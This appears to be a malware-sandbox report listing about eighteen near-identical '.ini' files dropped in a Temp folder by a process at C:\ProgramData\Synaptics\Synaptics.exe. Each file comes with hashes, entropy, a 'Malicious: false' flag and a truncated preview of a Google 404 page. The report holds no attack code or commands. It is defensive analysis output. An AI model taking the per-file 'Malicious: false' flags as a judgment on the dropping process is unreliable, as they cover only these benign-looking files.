Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6jtgY05tcK_Co1bAdXJsgg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ixUoCzT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264874162229825
Encrypted:	false
SSDEEP:	24:GgsF+0kMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	9D789EB0F4F2D69534BC5B3984AC5A6F
SHA1:	01F1874E06FE61DDDB881ADA82E6EBCD37063927
SHA-256:	1C25C442797FD7900A54EB981D4628E3A5E7E471C75840E69DBA3B95A883D25A
SHA-512:	7D5B8DB281C4E62E94863DD977452251483A3C9F53593B14C2903CEFD79356FF7371ED535B87FEAB136C7F5B98F5E5A9FCEBCF337ABABA1189FCCFFFC2668111
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="73-K3cOYFxoZkNRv7_lVAg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\j1XIRya.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260474911771502
Encrypted:	false
SSDEEP:	24:GgsF+0scSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	9B6EDF2AA8C8CF4702790E52EBE17ADE
SHA1:	48A4B176DD45FDB93148F94D797E81EA5B9BA464
SHA-256:	B3FD26A228611DBFD58EF944FBF86B744A4D69DD109873C6DEE728C3BB993043
SHA-512:	FD5B0083AA15F568202151AE9F8F1D291E8AC630D5957E1AD04554A876C8803EBFA9E116A740E1B139B5D078DFEB1BCEE93A453AC5D6831F82D586CBDC7D86A2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="adhWQaf5WbZmznGyXFVkIw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\j2mA8Qz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256180907087925
Encrypted:	false
SSDEEP:	24:GgsF+0YgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+vg+pAZewRDK4mW
MD5:	B2A7857D649ED1C2C85D900194D372A5
SHA1:	D35A671A54636E60A7F687CCB91178B34B5776AB
SHA-256:	504DAFE7EC3ABC3E91412A2C28C1B00B2FD91836401E16FDECEFB48943B02CA0
SHA-512:	7E67634BADD84B4F3F10F6B6573C3216776C0352D3925EFFEE94FCF92C1808A63FEE3FD1E51FEF9E88B930365E37E97C757379047B21A00A4E10F63EE7735B49
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WJ24Lb6_a-ioas3848OvMw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jGBNo8G.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257820209005219
Encrypted:	false
SSDEEP:	24:GgsF+04zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+vz+pAZewRDK4mW
MD5:	060EDE25929DD0968D61BC82AD572C77
SHA1:	8CFCCC29A2C749B5FA51E696750AF2DC63DFA951
SHA-256:	B0A2B1DF4BA1008F7E174CA406CE549A83CB4547D2BB8EC70C4B3EDC2016F936
SHA-512:	FE94E3DF5504C51F705D8B80B49F5883962DA9E6B63AF4CFC4CF5BCF8BC630A190A63FF815E2138144D29A5EBDBDD2E3CFEE284E1E8AB10657A1389AF3809D00
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5azDwKyac5el2ZjOUMu4oA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jIgHroB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2604395626994735
Encrypted:	false
SSDEEP:	24:GgsF+0wNSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+P+pAZewRDK4mW
MD5:	DC460562EF52C5EF3E791504C53E0C0F
SHA1:	98B709630E3CC5CCD397A7B096BD779F9A1DD460
SHA-256:	8182FA9D6BB589D88FAF1550093777F8A0485001B4CC2D43E69E21A9CB0F2435
SHA-512:	1D7BA32F8A221FA8A8EAAD20B7731F9CF41484526B7F0BCDD5147A6FCAA32EC90FDF3FDC42CA40857746BF69CC220A7E12B1065928B70142B2F437488DFFC406
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="OXhnyyhuXHnA4PBs2WX-2g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jgO1na5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2601029879983745
Encrypted:	false
SSDEEP:	24:GgsF+0ZOpISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+ZpI+pAZewRDK4mW
MD5:	07851ACBF4A03DE73A80035152CCA405
SHA1:	B8CDD714D1310F0EC995199098697945DDA585DF
SHA-256:	A8A7DA83C2B37A127B3EB8F1E4F717E5DCD962620BCD09DCEB47793A7B6BD459
SHA-512:	955A2A45102680EFD94B37DB938CBAAE6BE599DD34BC4C44165D0C7E25B5C746CF0E7E3B73FAD83EFFCC0449709453F4DE1541DE0AB67B7865F27D14F1EC2167
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y-FfttgWEORU_TdDoLGoRA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jh6MQ4s.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262513445814762
Encrypted:	false
SSDEEP:	24:GgsF+0m3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+V+pAZewRDK4mW
MD5:	F5D008F8C026228A519AAADF8824AFBC
SHA1:	6151605E43B1C1EB21652456E3CF61FDCD8820DB
SHA-256:	157EDA753D166E7C8E70CDBA52E99FFB5FAC68FA008D8DCFC585F53D48C5D687
SHA-512:	F8F5E0C85908081ADD70AE06E71C531F6D4F8165133CD5B8CCDB1E44548AB3875C298B02B04A97DFD8AD6F09243C7BAF00FD1F3C4EE685A0E58D4D8A25058F26
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oBE3VL6ffe9-dja5XbmfIQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jpowGVN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26387835260523
Encrypted:	false
SSDEEP:	24:GgsF+0QgsSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ll+pAZewRDK4mW
MD5:	2423C895D946ADBE9A2E47300AE3BDD3
SHA1:	53068366518E77390FE0AA279ECDD49D8654EFE2
SHA-256:	B213085E01A539585BD35E4B255FD5923A18E012496442F72D36A964E5F233FE
SHA-512:	9E08A9E0BBAB4B6491282DE948D505E931151C3B5F4458A1BF7E7446B4CCF304A94E668C4C698328660678D9673EB9EB5A082D749519571256ED62B5E22AE141
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qNdhxb1tQjrEUhHX5tuPCA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\kF4Tfa1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25109723227895
Encrypted:	false
SSDEEP:	24:GgsF+0haSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	774098EE85D4C59E5D2293263848D91B
SHA1:	BD418CFC4B224259CC1869DA6A4CA2D4821366B3
SHA-256:	A7D6B4BC96277CAC114C9292EA1BB6841A0F008A89B7B4AE35783ADC608C5FA6
SHA-512:	28B38B427EFB3F09F898233188FDD0A1EEB21619F322F2F794543573EA1014BA0DAFD22C4E8DFD3BEE63A1A787B8BE9C5AEF582E4EB9095E0DD840F48F9EE0AE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="krKIW5fpegAUJcLmsp50_w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\kKE2yND.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265309190984686
Encrypted:	false
SSDEEP:	24:GgsF+07XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+WX+pAZewRDK4mW
MD5:	0B388B3B73E80D4C71C8E427EAB4A9D9
SHA1:	7A46D1D4D13C2A566C1ED7C505EAE070702EE2E0
SHA-256:	EBB7B6B6A706C2A743173D05ED65BB6FFB7D033DC0516BE2EEB8CEB26D42CEE3
SHA-512:	A429F1E0CDC0F18EA0AAE558485E4A96958A416495F4363B546B21F8B0B3AFE1D44DEF33E79D140124323215F6D344BFCF5AB852CBE60E5085960C1307DAD22F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="si-X157InLmZyAWFU5MQFw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lUwgQAE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257905004343264
Encrypted:	false
SSDEEP:	24:GgsF+0ecSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I+pAZewRDK4mW
MD5:	1C4720D743779DC9C011EB978E08D459
SHA1:	BBB38C66EE55250BF83FA92AFD514516F85CC29C
SHA-256:	55705D5DBE897A921001F604AC5D1DE056DB3C3942AA35B305A66B4B270EB944
SHA-512:	4A727364938B2CBE84FB12D331CEC3AB4C7380FFD7A385AB126B752F32806AF250B88EF53FAE84019DE146183BF3DE8E7547E562983CC44671B377D2C344C9D9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wsYuvUlMG_Il7nW8kiXLxw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\liZOQHb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255819977442523
Encrypted:	false
SSDEEP:	24:GgsF+0LSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	015FAD3CD9F07DB7EA09E8115753B1BC
SHA1:	0E9A3D549D3158D586EA5C47C0A606B213B04CF5
SHA-256:	EECEE919F7A5B8C3B3339298C09F49653BF7C679FDCDE56B79C10A109321AD89
SHA-512:	E5FA2BC4B71797F79D84E49E712AC7FDBB60E8F9922396D156D2FED4B468F5F12F826BE6EB74C0F3A23564C14D483B2346F04CE7EE3EE32114E7849805495234
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TbyYldfPGg4GgtzpQj6esQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lyeNsEN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25584129531627
Encrypted:	false
SSDEEP:	24:GgsF+0CQGSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+MG+pAZewRDK4mW
MD5:	F4E3B0B5FF668D45F2C1DCB52AAEAEF4
SHA1:	9D0CE98CC095714086B358716AEE8C363A212014
SHA-256:	D31E89C5F9ADEE77464E22FA7DDB64EEE891A275444708C30C85276861DE558E
SHA-512:	9F5B086068BA58FA09750D4E27F34AE0DB9A5CF0974825E2D004CD9CEE25240F96A589920E5AFC92783A236843015826D827A3213CD6A39FCB3789FC1DCB4C5A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DOc_Dy-y117oAZuH8yleFg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\maLkRil.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270571761771057
Encrypted:	false
SSDEEP:	24:GgsF+0huSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+iu+pAZewRDK4mW
MD5:	0F389E74FD6CE796DDA2793BFF3BE79C
SHA1:	B2B9EDFE1B9C7129F802D788B927D876A96F35AA
SHA-256:	34D604C9E9D319B5DEB9AB0CB77035F8317D18EA8E21AE4644AA87F394FEACC3
SHA-512:	8D4A116B77FCEC73CFE9B8E57904AE4C1C80EB3AF82085F71B339D0104E8E2673A97441E3D6B84D98047336492D4AD82BB74C1BD3579266D7B781044AAFAD68E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XOPO0RftY-SFMJi0sELl7A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nKtg5r9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261414368994499
Encrypted:	false
SSDEEP:	24:GgsF+0MXNYbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+dXNy+pAZewRDK4mW
MD5:	D2093DC704B92FDDC0F79E5D1B01A2F7
SHA1:	3B0E4658C8C5001440882A20EE8D0C69DF319E1A
SHA-256:	3772C3778767E0F5D4524ABB539AA4A67A564B79163B3FFDC195934C33A4C677
SHA-512:	7FEDA9812DB3035ACB9D9158BDD55B1D12577BD61DBF595238DF19FB3DA3EAE44FAF80AC8E8F862DB1748C75383FDF81F95BF9E904D2C8B5BAB08D1C904DCD7D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bCaiGH7EateY2n2YjYVsAQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nn9YkzM.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269612757471254
Encrypted:	false
SSDEEP:	24:GgsF+0WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+F+pAZewRDK4mW
MD5:	D69A7488FB6D805466CFD5912FF40047
SHA1:	46892955C420BA6673DEF87EA3079C8CD904E8E9
SHA-256:	FE9C5F43FB29223E394466BB8815D9BBFBD497AB04875523689A28F345BC2899
SHA-512:	55FA2DD26135C2A8D1483603CD30FF44021714C7825133375F7AF486812A16B15B4BC9E6E850642A4263C854418447D6B9FA0C8FB980D90539486C9EF2D5F833
Malicious:	false
